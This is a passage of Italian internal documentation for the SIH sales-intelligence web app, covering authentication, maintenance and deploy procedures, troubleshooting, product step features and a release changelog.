• Nessun refresh token: quando scade, l'utente torna al login.
• Il frontend fa il logout automatico se /api/auth/me ritorna 401.

Logout e blacklist

Dal 2026-04-20 esiste un logout esplicito: POST /api/auth/logout inserisce il jti in token_blacklist(jti, agent_id, expires_at, revoked_at). Ogni decode_token verifica la blacklist prima di accettare il token. Cleanup opportunistico ogni ~100 logout rimuove le righe scadute. auth-guard.js chiama il logout in fire-and-forget con keepalive: true per sopravvivere alla navigazione successiva.

Ruoli: agent vs admin

La protezione lato server e' centralizzata nel dependency require_admin in auth.py. Il controllo UI role === 'admin' in frontend e' solo un filtro di rendering: la sicurezza vera e' lato API.

Reset password admin-driven

La procedura e' gia' descritta nella sezione Pannello Admin. In sintesi:

1. Admin clicca "Reset pw" nella tab Agenti.
2. Backend crea JWT purpose = password-reset, TTL 30 minuti, ritorna link al frontend.
3. Link consegnato all'utente (oggi out-of-band, via email/chat/di persona). Quando SMTP sara' configurato, l'invio diventera' automatico.
4. Utente apre il link, reset-password.html legge il token da URL fragment, invia la nuova password a POST /api/auth/password-reset.
5. Backend valida il token, aggiorna l'hash bcrypt, aggiunge il jti alla blacklist (one-shot).

Rate limit login

POST /api/auth/login e' rate-limited in memoria: 5 tentativi falliti per (IP + email) in finestra 5 minuti. Al sesto tentativo il backend risponde 429 con header Retry-After e registra l'action login_rate_limited in ActivityLog. Il contatore si azzera a un login riuscito. E' una difesa base contro credential stuffing e, non esistendo alcun Basic Auth a monte (vedi Architettura), e' l'unica: il login e' esposto a internet. Da v2.45.0 si affianca un contatore per-IP (30 tentativi / 5 min) oltre a quello per (IP + email), perche' con l'IP costante a 127.0.0.1 la chiave ip|email degradava a «5 tentativi per email»: lockout DoS mirato su un account noto e spraying illimitato su account diversi.

Security headers

Middleware _security_headers aggiunge ad ogni response:

CORS whitelist

La configurazione CORS e' passata da allow_origins=["*"] a whitelist esplicita (_CORS_ALLOWED_ORIGINS): https://giuseppef73.sg-host.com + http://localhost:* per sviluppo. Origini aggiuntive si impostano via env SIH_ALLOWED_ORIGINS (comma-separated). allow_credentials e' False (l'auth avviene via X-Auth-Token, non via cookie).

Origin check su mutation

Middleware aggiuntivo _origin_check_on_mutations: ogni POST, PATCH, DELETE deve avere header Origin presente nella whitelist, altrimenti 403. Difesa in profondita' sopra CORS contro attacchi CSRF in cui un sito malevolo forgia fetch cross-site.

Integrazioni API esterne

Il backend delega la raccolta dei dati a sette provider esterni. Nessuna API key e' mai esposta al browser: tutte le chiamate transitano dal backend Python che firma le richieste con le chiavi lette dal database (tabella secrets) o dalle env var.

Come vengono tracciate

Per ogni provider i call helper del backend chiamano core.track_ext_api(provider, success) che incrementa contatori in-memory dentro EXT_API_COUNTS (chiave stringa = identifier del provider, valore = {total, errors}). Lo snapshot e' esposto da /api/admin/stats/overview come api_usage.{provider}.calls_live e da /api/admin/metrics come ext_api. I contatori si resettano ad ogni restart uvicorn.

In parallelo, le azioni UI di alto livello sono loggate in activity_log e aggregate come api_usage.{provider}.calls (fonte persistente, ma sottostima il consumo di alcuni provider che fanno piu' call per azione).

Google Places API (New)

Local Falcon

SEOzoom

SE Ranking

Stato storico: fino al 20 aprile 2026 gli endpoint SEO venivano serviti da SE Ranking. Da quella data il provider e' stato dismesso per contenimento costi: i 5 endpoint principali (overview, keywords, competitors, pages, keyword-research) sono migrati su SEOzoom; backlinks e ai-visibility non sono piu' serviti in prod (rispondono available:false).

ScrapeCreators

Sentry

Monitoring errori backend e frontend. SDK sentry-sdk[fastapi] inizializzato al boot se SENTRY_DSN e' popolato (da DB secrets o env). Cattura eccezioni non gestite, traces di request, breadcrumbs. Frontend carica Sentry Browser SDK via CDN in ogni pagina HTML.

Nota: il DSN non supporta hot-reload. Dopo aver impostato o ruotato SENTRY_DSN nella tab API Keys, serve un restart uvicorn (via reload.php).

AI (consulenti)

Manutenzione operativa

Operazioni quotidiane per mantenere l'applicazione viva, aggiornata e monitorata. La maggior parte e' automatizzata (cron healthcheck, reactive respawn, strutturato restart log). Questa sezione serve a capire cosa sta succedendo sotto il cofano e come intervenire in caso di deviazione.

Cron configurati su SiteGround

I cron sono configurati nell'interfaccia SiteGround Site Tools > Cron Jobs (non in crontab Unix, che la piattaforma non espone). Due schedulazioni attive:

Il cron healthcheck serve a due scopi:

• Keep-alive: mantiene uvicorn vivo anche in periodi di zero traffico utenti (SiteGround e' aggressivo nel killare processi idle).
• Recovery automatica: se il processo e' morto, healthcheck.php lo respawna.

Il parametro ?cb=$(date +%s) e' un cache-buster obbligatorio: Nginx di SiteGround cacha aggressivamente le GET PHP senza query variabile, e senza cache-buster il cron servirebbe una risposta stantia senza innescare il respawn.

Il cron prune-activity-log implementa la policy di retention di 180 giorni descritta nella sezione Sicurezza. Il comando e' idempotente (se non c'e' nulla da cancellare, esce con successo). Per verificarne l'esecuzione, controllare la colonna created_at piu' vecchia in activity_log: non dovrebbe mai superare i 181 giorni.

Maintenance ON / OFF

L'attivazione/disattivazione della pagina di manutenzione puo' avvenire in due modi: crea/rimuovi manualmente il file maintenance_mode.flag in public_html/, oppure (piu' pratico da remoto) invoca l'endpoint PHP dedicato:

# Attivare maintenance
curl -X POST \
  "https://giuseppef73.sg-host.com/maintenance.php?on=1&token=<MAINT_TOKEN>"

# Disattivare maintenance
curl -X POST \
  "https://giuseppef73.sg-host.com/maintenance.php?off=1&token=<MAINT_TOKEN>"

Nessun -u: il sito non ha Basic Auth (vedi Architettura). L'unica credenziale che protegge l'endpoint e' <MAINT_TOKEN>.

Il token si trova in /home/customer/sih_maintenance_token.txt (con fallback al legacy /home/customer/reload_token.txt se ancora unico — vedi sotto Token separation).

Bypass admin durante la maintenance

Per testare il deploy senza esporre il sito agli utenti finali, l'admin puo' ottenere un cookie di bypass che scavalca la regola maintenance del .htaccess:

curl -c /tmp/sih_bypass.txt \
  "https://giuseppef73.sg-host.com/bypass.php?token=<BYPASS_TOKEN>"

Il browser, una volta piantato il cookie, naviga normalmente come se il flag maintenance non ci fosse. Il cookie scade a 24h ed e' HttpOnly + Secure. Il token vive in /home/customer/sih_bypass_token.txt.

Token separation (in corso)

Storicamente il sistema usava un unico reload_token.txt sia per reload.php sia per maintenance.php sia per bypass.php. Dopo Sprint 2/3 i token sono stati separati su 3 file dedicati:

• /home/customer/sih_reload_token.txt → reload.php
• /home/customer/sih_maintenance_token.txt → maintenance.php
• /home/customer/sih_bypass_token.txt → bypass.php

Finche' i file nuovi non sono popolati, gli script PHP fanno fallback al legacy reload_token.txt per non rompere il flusso di deploy. La policy di rotazione (vedi RUNBOOK) invita a popolare i nuovi file con valori distinti (16+ byte random) e a rimuovere il legacy una volta stabile.

Log files

Respawn flow: tre livelli di resilienza

Dal 2026-04-20 lo stack ha tre livelli di recovery, ordinati dal piu' reattivo al piu' proattivo.

1. Reactive: proxy.php — se una request utente fallisce per curl errno (backend down, OOM, segfault), proxy.php chiama healthcheck.php inline via require e fa una seconda curl di retry verso l'endpoint originale. Se il retry funziona, l'utente non si accorge di nulla; se fallisce, torna 502 con messaggio esplicativo.
2. Proactive: cron 5 minuti — healthcheck.php?cb=&token= viene invocato ogni 5 min dal Site Tools SiteGround. Se il processo non risponde su /api/status (via unix socket) entro 3s (+ un retry a 8s), parte il respawn. Da v2.45.0 il ramo di respawn richiede il token quando la chiamata arriva via HTTP (vedi il riquadro nella sezione Cron: sui log non risulta alcun cron HTTP attivo).
3. Structured: restart log — ogni respawn scrive una riga JSON in uvicorn_restarts.jsonl. La tab Metriche del pannello admin visualizza timeline 14 giorni e tabella ultimi 20, per capire se ci sono pattern anomali (es. OOM ciclico ogni ora).

Dettaglio interno di healthcheck.php

1. Gate di autorizzazione (da v2.45.0): lo script si considera fidato se e' stato incluso via require da proxy.php/reload.php (costante SIH_INTERNAL_HEALTHCHECK) oppure se gira da CLI (PHP_SAPI === 'cli'). Altrimenti confronta $_GET['token'] con HEALTHCHECK_TOKEN (fallback RELOAD_TOKEN) da sih.env usando hash_equals. Non autorizzato = solo probe read-only, il respawn non parte.
2. GET /api/status via CURLOPT_UNIX_SOCKET_PATH su sih_uvicorn.sock, timeout 3s + retry 8s.
3. Se risponde 200: stampa status e termina.
4. Se non risponde: acquisisce flock su uvicorn_restart.lock. Se un'altra istanza sta gia' respawnando, aspetta 4s e fa probe, poi termina.
5. Rotazione log se >2 MB. Scrittura marker === restart ===.
6. Se il PID esistente e' ancora vivo (posix_kill($pid, 0) ritorna true): SIGTERM, wait 5s, SIGKILL. Necessario per evitare Errno 98 Address already in use.
7. Rimozione PID file stale.
8. Respawn: nohup python3 -c "<wrapper che scrive PID + runa uvicorn>" >> uvicorn_prod.log 2>&1 &. Le env var (MySQL, JWT, API keys) sono caricate da /home/customer/sih.env (chmod 0600, fuori web root).
9. Probe /api/status ogni 1s fino a 30s, esce al primo 200 (da v2.45.6; prima era un probe unico dopo 3s fissi, che dava falsi failed quando il boot di uvicorn superava i 3s). Poi scrittura riga JSON in uvicorn_restarts.jsonl.

Deploy flow

Unico entry point: deploy_fastapi.py (locale). Usa paramiko SFTP per caricare i file modificati e chiama reload.php per innescare il restart.

1. SFTP upload della lista file definita in FILES di deploy_fastapi.py: server_fastapi.py, core.py, db.py, auth.py, activity.py, ai_personas.py, migrate.py, tutti i routers/*.py, proxy.php, healthcheck.php, reload.php.
2. Call a reload.php: POST https://giuseppef73.sg-host.com/reload.php?token=<RELOAD_TOKEN>&_t=<timestamp>. Il _t e' cache-buster obbligatorio (stesso motivo del cron).
3. Self-shutdown graceful (primo tentativo): reload.php chiama POST /api/internal/shutdown?token= via loopback; il backend esegue os._exit(0) dopo 1s. atexit rimuove il PID file.
4. Fallback posix_kill: se il self-shutdown non risponde (es. processo vecchio senza l'endpoint), reload.php legge il PID dal file e manda SIGTERM poi SIGKILL.
5. Respawn: reload.php include inline healthcheck.php che rileva server down e rispawna.

Il token di reload e' letto (in ordine): file /home/customer/reload_token.txt (fuori web root, chmod 0644 readable da PHP), env RELOAD_TOKEN. Se entrambi mancano, reload.php rifiuta la call con 403. La copia locale per lo script deploy vive in credenziali/reload_token.txt (non deployata, gitignorata).

Backup database

Oggi i backup del database MySQL sono manuali, via SiteGround Site Tools > Site > Backups oppure Database > MySQL Databases > Export. Il backup automatizzato schedulato programmaticamente e' in roadmap.

Dati critici da preservare:

• agents, prospects, analyses, proposals — storico commerciale e audit.
• activity_log — unica fonte di verita' per AI usage storico + billing.
• secrets — chiavi API (se perdute vanno ri-generate dai provider).
• feedback — ticket aperti e storici.

Cadenza consigliata: snapshot manuale pre-deploy maggiore + snapshot settimanale. In caso di incidente catastrofico, il reimporto avviene da Site Tools.

Rotazione credenziali

La rotazione delle chiavi API (Google, Local Falcon, SEOzoom, Anthropic, ScrapeCreators) e' una operazione admin di routine:

1. Rigenerare la chiave sulla dashboard provider.
2. Aggiornare il valore nella tab API Keys del pannello admin.
3. La cache secret lato backend ha TTL 60s: il nuovo valore e' attivo entro un minuto. Nessun restart richiesto (eccezione: SENTRY_DSN).
4. Revocare la vecchia chiave dal provider.

Per SIH_JWT_SECRET: ruotarlo invalida tutti i token JWT attivi di tutti gli agenti. Usarlo solo in caso di compromissione, fuori orario di ufficio, avvisando gli utenti.

Riferimento endpoint interni

Mappa riassuntiva degli endpoint REST esposti dal backend FastAPI. Tutti sono raggiungibili come /api/<path> da browser e client e transitano per proxy.php. Eccetto dove indicato, ogni endpoint richiede header X-Auth-Token con un JWT valido; gli endpoint /api/admin/* richiedono inoltre role = admin.

Auth

Prospect discovery (Google Places)

SEO

Local Falcon

Social

Persistenza (prospect / analisi / proposte)

Feedback (ticket)

Notifiche

AI (consulenti)

Batch

Admin

Utility e deploy

Troubleshooting — FAQ

Raccolta dei problemi piu' ricorrenti e delle soluzioni consolidate. Per incidenti non coperti qui, consultare RUNBOOK.md (procedure di emergenza) e i log in /home/customer/uvicorn_prod.log.

Backend non raggiungibile (500 / 502)

Sintomo: le pagine HTML caricano (sono statiche) ma le chiamate /api/* restituiscono 502 o "Backend non raggiungibile anche dopo respawn automatico".

Diagnostica:

curl -s "https://giuseppef73.sg-host.com/healthcheck.php?cb=$(date +%s)&token=$RELOAD_TOKEN"
# ritorna: {"status":"ok"|"restarted"|"failed", "pid":..., "http_code":...}

Il token serve da v2.45.0: senza, si ottiene comunque la diagnosi (status, http_code) ma il respawn non viene tentato, quindi si vedrebbe un failed perpetuo. Equivalente via SSH, senza token: php healthcheck.php.

Soluzione:

• Se status = restarted: il respawn automatico ha funzionato, riprovare tra 5-10s.
• Se status = failed: connettersi via SSH e fare tail -200 /home/customer/uvicorn_prod.log per vedere l'errore di boot (tipicamente ImportError, MySQL down, env var mancante).
• Il cron ogni 5 minuti garantisce recovery automatico anche senza intervento manuale. Se persiste >10 minuti, controllare uvicorn_restarts.jsonl per capire se il respawn fallisce in loop (segno di bug nel codice appena deployato).

Nuova feature deployata non visibile nel browser

Sintomo: dopo un deploy il browser continua a mostrare il comportamento vecchio anche dopo hard reload.

Causa: Nginx di SiteGround ha una cache proxy aggressiva che ignora .htaccess e alcuni header Cache-Control.

Soluzione:

• Aggiungere un cache-buster all'URL: ?v=N (incrementare ad ogni deploy) oppure ?cb=$(date +%s).
• Per le risorse statiche (JS/CSS), sih-cache-buster.js confronta il buildId remoto con quello in localStorage e offre il reload all'utente quando cambia.
• Per le chiamate API, proxy.php forza gia' Cache-Control: no-store + X-Accel-Expires: 0.

Errno 98 "Address already in use"

Sintomo: uvicorn non parte, log mostra OSError: [Errno 98] Address already in use.

Stato: risolto il 2026-04-20. Prima, la causa era un vecchio processo non ancora morto sulla stessa porta 5049. La patch ha aggiunto:

• Lock file uvicorn_restart.lock per impedire respawn concorrenti.
• Kill esplicito del PID vecchio (SIGTERM + wait 5s + SIGKILL) prima del respawn.
• Retry /api/status con timeout progressivo prima di dichiarare morto il server.

Se si ripresenta: controllare che uvicorn_prod.pid sia coerente, eventualmente rimuoverlo manualmente e ri-chiamare healthcheck.php?cb=&token= (o php healthcheck.php da SSH, che non richiede token).

Ticket #X non processato

Applicare la regola "admin priority":

• Se il ticket viene da un admin (tipicamente l'owner prodotto), il fix e' immediato, senza attesa di approvazione.
• Se viene da un agente non-admin: il team di manutenzione deve produrre una sintesi in 4 punti (cosa dice, cosa chiede, parere tecnico, classe bug/feature/UX/doc) e attendere OK dell'owner prima di agire. Duplicati espliciti si chiudono direttamente.
• Scope dell'intervento: solo il baco riportato. Niente refactor collaterali, niente feature "incluse gratis". Queste vanno in ticket dedicati.

GEO — Visibilita' AI (riattivato 2026-06-15)

Endpoint utili:

• GET /api/seo/ai-visibility?url=<domain> — summary KPI (brand_presence, link_presence, average_position, ai_opportunity_traffic) con confronto periodo precedente quando disponibile. Cache 30gg.
• GET /api/seo/ai-visibility/queries?url=<domain>&limit=10 — dettaglio prompt on-demand. Il provider fattura 200 crediti per prompt restituito: con dataset IT magro la spesa effettiva e' bassa, ma con domini ricchi puo' arrivare a 200×limit. Default limit=10. Cache 30gg.

Stato risposta non utilizzabile (available:false oppure unavailable:true):

• reason=no_credits → 402 SE Ranking, crediti esauriti.
• reason=auth_error → token in DB secrets non valido. Rigenerare da pannello SE Ranking.
• reason=plan_not_entitled → piano senza accesso AI Search. Da abilitare lato fornitore.
• reason=not_found → dominio sconosciuto al dataset.

Visibilita' AI sempre = 0 (storico v1, multi-motore)

Sintomo: il modulo AI Visibility di SE Ranking ritorna 0 menzioni per tutti i domini, anche per siti notoriamente citati.

Cause tipiche:

• Engine slug sbagliato. SE Ranking usa ai-overview, NON google_ai_overviews. Gli slug validi sono: chatgpt, gemini, ai-overview, perplexity.
• Summary key sbagliata. Il totale traffico di opportunita' e' in ai_opportunity_traffic, NON ai_opp.
• Risolto 2026-04-19 nel codice prod. Se compare in futuro, verificare che entrambi siano coerenti con la response live di SE Ranking.

Geocoding REQUEST_DENIED

Causa: la chiave Google Places (New) non abilita l'endpoint Geocoding legacy.

Soluzione: usare Places Text Search per ottenere lat/lng. La ricerca per raggio sfrutta locationBias con il risultato del Text Search come pivot. La patch e' gia' in produzione su /api/search radius mode.

Ruolo non aggiornato dopo promozione ad admin

Sintomo: un agente appena promosso non vede admin.html o riceve 403 sulle API admin.

Causa: il ruolo e' incluso nel payload JWT, che non cambia finche' non si riemette. Il token vecchio dell'agente ha ancora role = agent.

Soluzione: l'agente deve fare logout + login. Il nuovo JWT portera' il ruolo aggiornato.

Login loop — redirect infinito a /login.html dopo un deploy

Sintomo: dopo un deploy che tocca la logica di autenticazione (tipicamente il passaggio al cookie HttpOnly di Sprint 3), un utente viene rimandato a /login.html subito dopo aver fatto login, come se la sessione non si stabilisse mai.

Causa: il browser dell'utente ha ancora in cache la vecchia versione di auth-guard.js / page-*.js che leggeva il token da localStorage. Il nuovo backend imposta il cookie ma la pagina vecchia non lo legge e continua a cercare un token che non c'e' piu'.

Soluzione:

• Hard reload con Cmd+Shift+R (macOS) o Ctrl+Shift+R (Windows/Linux) per forzare il download della nuova versione.
• Se interessa molti utenti, rilanciare bump_version.py: il nuovo query string ?v=... invalida la cache per tutti. Gli utenti vedranno la nuova versione al primo page load.
• Diagnostica veloce: aprire DevTools > Application > Cookies e verificare la presenza di sih_session dopo il login. Se c'e' ma la pagina redireziona comunque, e' JS stale al 99%.

Bottoni admin che non rispondono al click

Sintomo: nella console del browser compare un errore del tipo Cannot read properties of null (reading 'addEventListener') e alcuni bottoni del pannello non reagiscono.

Causa: un tag <script src="page-*.js"> privo di defer e' stato posizionato prima dell'elemento DOM che tenta di agganciare. Al momento dell'esecuzione l'elemento non esiste ancora e getElementById restituisce null.

Soluzione:

• Verificare che il tag abbia l'attributo defer (pattern standard Sprint 3: <script defer src="page-foo.js?v=..."></script> nell'<head>).
• In alternativa, spostare il tag a fine body, dopo tutti gli elementi referenziati.
• Se il script deve restare inline per qualche motivo, avvolgere gli addEventListener in document.addEventListener('DOMContentLoaded', () => { ... }).

Console Unexpected token '<' con maintenance ON

Sintomo: dopo aver attivato la maintenance page, i browser mostrano errori tipo Uncaught SyntaxError: Unexpected token '<' in console e la maintenance page appare rotta (niente font, niente CSS, niente animazioni).

Causa: la regola di rewrite in .htaccess per la maintenance cattura anche gli asset statici (JS, CSS, immagini, font) e li reindirizza a maintenance.html. Il browser riceve HTML al posto di JS e fallisce il parse.

Soluzione: verificare in .htaccess che la regola maintenance escluda le estensioni asset. Pattern corretto:

RewriteCond %{REQUEST_URI} !\.(js|css|png|jpg|jpeg|gif|svg|woff|woff2|ttf|ico)$ [NC]
RewriteCond %{DOCUMENT_ROOT}/maintenance_mode.flag -f
RewriteRule ^(?!maintenance\.html|api/|_reload|proxy\.php).*$ /maintenance.html [L,R=302]

La prima RewriteCond con !\.(js|css|...) e' quella indispensabile: senza di essa anche maintenance-assets/foo.css viene redirezionato su HTML.

Deploy "senza effetto" — healthcheck dice "restarted" ma il PID e' lo stesso

Causa: Nginx di SiteGround cacha le GET PHP senza query variabile. healthcheck.php risponde da cache con il vecchio stato "restarted" pur non avendo fatto alcun respawn.

Soluzione:

• Aggiungere sempre cache-buster alle chiamate deploy: ?cb=$(date +%s). Lo script deploy_fastapi.py lo fa gia' automaticamente.
• Per diagnostica rapida: da SSH curl --unix-socket /home/customer/sih_uvicorn.sock http://localhost/api/status bypassa Nginx e mostra lo stato reale.
• Incrociare uvicorn_prod.pid e uvicorn_restarts.jsonl per capire l'ora dell'ultimo restart effettivo.

Feature per step di prodotto

Panoramica funzionale di cosa fa ogni step del flusso. Per il changelog delle release vedi la sezione Changelog highlights in fondo a questa pagina, o il changelog user-friendly; per le note operative interne, la memoria progetto (session_*.md, *_status.md).

Step 1 — Ricerca prospect

Pagina: 01-ricerca-prospect.html. Il punto di ingresso. Qui costruisci la lista delle attivita' locali da analizzare, sfruttando i dati del profilo pubblico Google.

Due modalita' di ricerca

• Per citta' (default) — inserisci una categoria (es. ristorante, parrucchiere, centro estetico) e una citta' (Bologna, Milano, Roma). SIH interroga Google e restituisce fino a qualche decina di risultati per query, con la possibilita' di caricarne altri via paginazione. Accanto alla citta' c'e' un campo CAP facoltativo (5 cifre, es. 20121): se compilato, la ricerca si restringe a quella zona — utile nelle aree metropolitane per concentrarsi sul quartiere di competenza. Lasciato vuoto, la ricerca resta sull'intera citta'. Il CAP viene salvato anche nelle ricerche preferite.
• Per raggio — inserisci un indirizzo preciso (via e numero civico) e un raggio in chilometri (1, 2, 5, 10, 20 o 50 km). Utile per mappare una zona commerciale specifica o il quartiere di un cliente gia' esistente che vuole referral, anziche' ragionare per citta' intera.

Il selettore Per citta' / Per raggio e' in alto alla pagina: cambiando modalita' il form si adatta automaticamente ai campi richiesti.

Badge opportunita'

Ogni card risultato mostra un badge che sintetizza quanto quel prospect sia un buon target commerciale. La classificazione incrocia assenza di sito, numero di recensioni, rating, foto, completezza orari e altri segnali visibili nel profilo Google:

Passando il mouse sul badge vedi il tooltip con l'elenco puntuale dei segnali che hanno determinato la classificazione (es. Nessun sito web - Meno di 5 recensioni - Rating assente). Questi segnali sono gli stessi che userai come leva commerciale in chiamata.

Filtri, ordinamento, viste

• Filtri chips rapidi sotto la ricerca: Senza sito, Rating 4+, Almeno 10 recensioni, Solo hot, Operativo, Disponibili. Si combinano tra loro.
• Filtro per stato di lavorazione: SIH riconosce i prospect che tu o altri agenti avete gia' toccato. Le card lockate (vedi Sistema lock) sono grigiate e non selezionabili.
• Vista lista / mappa: il toggle in alto a destra sulla barra risultati passa da griglia di card a mappa Leaflet con pin colorati per tier di opportunita'.
• Carica di piu': pulsante in fondo ai risultati per pescare altre pagine Google senza perdere la selezione corrente.

Cache locale per risparmiare chiamate

Quando rilanci la stessa ricerca entro 24 ore, SIH la serve dalla cache del browser: vedrai apparire un piccolo badge Da cache accanto al titolo dei risultati. Non consumi nuove chiamate Google e la lista si carica istantaneamente. Se vuoi forzare il refresh, ricarica la pagina con Ctrl+F5 o cambia anche un solo parametro della query.

Step 2 — Visibilita' Locale

Pagina: 02-visibilita-locale.html. Tutto quello che riguarda la presenza sulla mappa e sulla scheda Google del prospect, in un'unica vista consolidata.

Profilo Google Business dettagliato

• Foto della scheda (copertina + galleria), con fallback sicuro se Google ne espone poche.
• Orari completi, indirizzo, telefono, sito auto-rilevato.
• Categorie assegnate, inclusa la primaria.
• Mappa embed per verificare che il pin sia nella posizione giusta.
• Recensioni intelligenti: SIH pesca fino a 5 migliori e 5 peggiori recensioni reali in italiano (quando disponibili), cosi' puoi preparare la telefonata citando esempi concreti di ringraziamento o di lamentele ricorrenti.

Local SEO Scan integrato (Local Falcon)

Dalla stessa pagina puoi lanciare una grid-scan che misura dove il prospect appare sui risultati mappa di Google per una keyword scelta, in una griglia 5x5 attorno alla sede. Il risultato e' una heatmap: verde = top 3, giallo = top 10, rosso = fuori classifica. Ti dice a colpo d'occhio dove il cliente e' visibile e dove sta sparendo rispetto alla concorrenza.

Cosa guardare per capire se un prospect e' pronto

• Rating medio < 4.0 o meno di 10 recensioni → pretesto per il pacchetto gestione reputazione.
• Zero o poche foto owner → gancio immediato sull'onboarding scheda Google.
• Heatmap quasi interamente rossa fuori dal raggio della sede → il business e' invisibile gia' a 2 km. E' il tipo di evidenza che chiude una chiamata.
• Sito non rilevato o sito scaduto → priorita' #1 sul Sito Ready.

Step 3 — Web & SEO

Pagina: 03-web-seo.html. Analisi del dominio web del prospect (se ce l'ha) usando metriche SEO professionali di mercato.

• Overview dominio: traffico organico stimato, numero di keyword posizionate, indice di autorita'.
• Backlinks: quanti domini rimandano al sito, qualita' complessiva, trend di acquisizione.
• Keyword top: le parole chiave per cui il sito si posiziona meglio, utile per capire il focus attuale e dove mancano ancora i termini chiave per il settore.
• Competitor gap: chi sono i competitor organici reali (non quelli dichiarati dal cliente) e quali keyword loro presidiano e il prospect no. E' la base del discorso "ecco dove perdete traffico contro il vostro concorrente principale".

Modalita' opportunita'

Quando il dominio ha meno di una ventina di keyword posizionate o un traffico stimato minimale, SIH attiva automaticamente la modalita' Opportunita': invece di mostrarti una tabella vuota, recupera le keyword del mercato di riferimento (cosa cercano oggi i clienti locali di quella categoria) e le presenta come potenziale non ancora sfruttato. Il messaggio commerciale diventa: "non e' che non serviate, e' che non vi trovano".

Step 4 — Social

Pagina: 04-social.html. Presenza del prospect su Facebook, Instagram, TikTok, YouTube e LinkedIn.

• Follower, engagement rate, frequenza media di pubblicazione.
• Ultimi contenuti pubblicati per ogni canale con anteprima.
• Red flag: account abbandonato da mesi, nessun contenuto video, link rotto dal sito.
• Storico dei scan precedenti per vedere se l'attivita' sta crescendo o si e' fermata.

SIH tenta prima la detect automatica dei link social a partire dal sito del prospect. Se la detect non trova nulla o e' incompleta puoi inserire manualmente gli handle dei canali prima di lanciare lo scan.

Step 6 — Diagnosi & Proposta

Pagina: 06-diagnosi-proposta.html. Lo step finale. Qui SIH ricompone tutti i dati raccolti in uno Score pesato 0-100 e ti costruisce una proposta commerciale stampabile basata sul catalogo PagineSi.

Scorecard a 5 pilastri

Il punteggio finale combina cinque pilastri che, insieme, valgono 100:

Il peso di ogni pilastro cambia in base al settore del prospect: un ristorante ha Reputation molto piu' alto di un B2B industriale, dove pesa di piu' il SEO. SIH gestisce 9 profili settore (food/hospitality, beauty/wellness, retail, servizi professionali, automotive, salute, casa/edilizia, eventi, altro) ognuno con il proprio mix di pesi.

Proposta commerciale e tier

Sulla base dello score e dei gap emersi, SIH propone una selezione di prodotti dal catalogo PagineSi organizzati in tre livelli:

• Essential — il minimo indispensabile per chiudere i gap piu' gravi.
• Growth — pacchetto di crescita, consigliato come sweet spot.
• Dominance — set completo per chi vuole dominare il territorio.

Puoi rimuovere prodotti, aggiungerne altri a mano e ricalcolare il totale in tempo reale. Il pulsante Stampa proposta genera un PDF brandizzato pronto da portare all'appuntamento o da inviare via mail al cliente.

Snapshot storicizzato

Ogni volta che salvi un audit, SIH registra uno snapshot datato dello score e dei pilastri. Lo trovi nella timeline del prospect in Dashboard e ti permette di dire al cliente, mesi dopo: "ad aprile eravate a 42, oggi siete a 68, ecco cosa abbiamo fatto".

Changelog — milestone principali

Rollup tecnico delle release. Ordine: release più recente in cima. Per il changelog user-friendly destinato agli agenti consultare changelog.html; per le note operative interne, la memoria progetto (session_*.md, *_status.md).

2026-11-01 — v2.50.8 pyasn1 0.6.5: via quattro falle di consumo CPU nella decodifica ASN.1 (segnalate da HQ)

Nota del 01/11/2026. Il controllo dipendenze di HQ segnalava dal 31/10 in produzione pyasn1 0.6.4 con quattro falle di gravità alta, tutte dello stesso tipo: GHSA-2qm8-x737-gmw5, GHSA-9m75-vc3g-4x39, GHSA-fm9c-5rcf-2q5p e GHSA-mm57-4v3p-rchx (CVE-2026-119194, 119195, 119196, 119197), tempo di decodifica quadratico su input BER/CER/DER costruiti apposta (BIT STRING costruiti, stringhe e ANY a lunghezza indefinita, contenitori senza schema, REAL binari); corrette dalla 0.6.5 del 27/10/2026. pyasn1 non la importa il codice e nel lock nessun altro pacchetto la richiede: sta nel manifesto dalla v2.50.1 tra le indirette fissate (era la coda della vecchia catena python-jose → rsa → pyasn1, tolta a maggio) e il deploy la installa a pin esatto. È bastato alzare il pin pyasn1==0.6.5 e rigenerare il lock con pip-compile --allow-unsafe --generate-hashes --no-strip-extras --no-emit-index-url: l'unica versione che cambia è pyasn1. pip-audit sul manifesto (come in test.yml) e sul lock con gli hash (pip-audit --disable-pip --require-hashes -r requirements.lock, tutto l'albero): nessuna falla nota. La stessa libreria era segnalata in Social Selfie, chiusa lo stesso giorno. Nessuna modifica al codice.

• v2.50.8: requirements_fastapi.txt, requirements.lock, RUNBOOK.md.

2026-10-29 — v2.50.7 Mappa che si riprende, social quando il sito è Instagram, foto nello scoring dello step 6

Nota del 29/10/2026. Quattro segnalazioni dell'admin sullo stesso prospect (No Name Bar, Corcagnano), tre cause. #244: la scansione Local Falcon è riuscita (report trovato dal server al 15° tentativo, circa 166 s dopo l'invio), ma la pagina era già stata ricaricata: vl_currentScanParams viveva solo in memoria, vl_lateReloadScan («Ricarica ora») interrompeva l'attesa e vl_retryLoadReport faceva un solo controllo. Ora dopo l'invio si salva sih_lf_scan_pending in localStorage (scheda, keyword, report già esistenti, ora d'invio) e vl_resumePendingScan ricontrolla /api/lf/reports ogni 15 s fino a 10 minuti dall'invio, accettando solo un report nuovo con la stessa keyword; la pagina riaperta riprende l'attesa (vl_resumeFromStorage), «Avvia» resta bloccato, «Ricarica ora» non uccide più l'attesa. #245 e #246: con un profilo Instagram come sito, /api/social/detect scaricava la pagina di Instagram come una homepage e ne estraeva facebook.com/ig_xsite_user_info e instagram.com/ajax/bootloader-endpoint. Ora social_analytics.is_not_a_website riconosce per host social e portali: in quel caso non si scarica nulla e si restituisce il profilo stesso (source: website_is_social); sull'HTML dei siti veri si scartano i percorsi tecnici di Instagram e ig_xsite_user_info; la cache del probe dei concorrenti include il profilo. Lo step 4 intitola il riquadro «Sulla scheda Google, al posto del sito, c'è questo profilo». #247: l'avviso «foto in contraddizione» era del Direttore Commerciale AI, giusto: calcCumulativeScore passava a SIHAudit solo proposalData.business, che gli step 3-5 ricostruiscono senza foto né orari. Ora _dp_scoringBusiness completa i campi vuoti da sih_scan_business solo se il place_id coincide, usa hours se manca weekdayDescriptions, e _pillarDetail conta le categorie senza quelle generiche e scrive «almeno 10 foto» (Places ne restituisce al massimo 10).

• v2.50.7: page-02-visibilita-locale.js, page-04-social.js, page-06-diagnosi-proposta.js, social_analytics.py, routers/external.py, routers/social_probe.py, tests/test_lf_scan_ripresa.py (+9, node), tests/test_detect_sito_social.py (+9), tests/test_step6_foto_scheda.py (+6, node), sih-release-highlights.json, RUNBOOK.md.

2026-10-23 — v2.50.6 certifi 2026.10.23: via le radici emSign compromesse (segnalata da HQ)

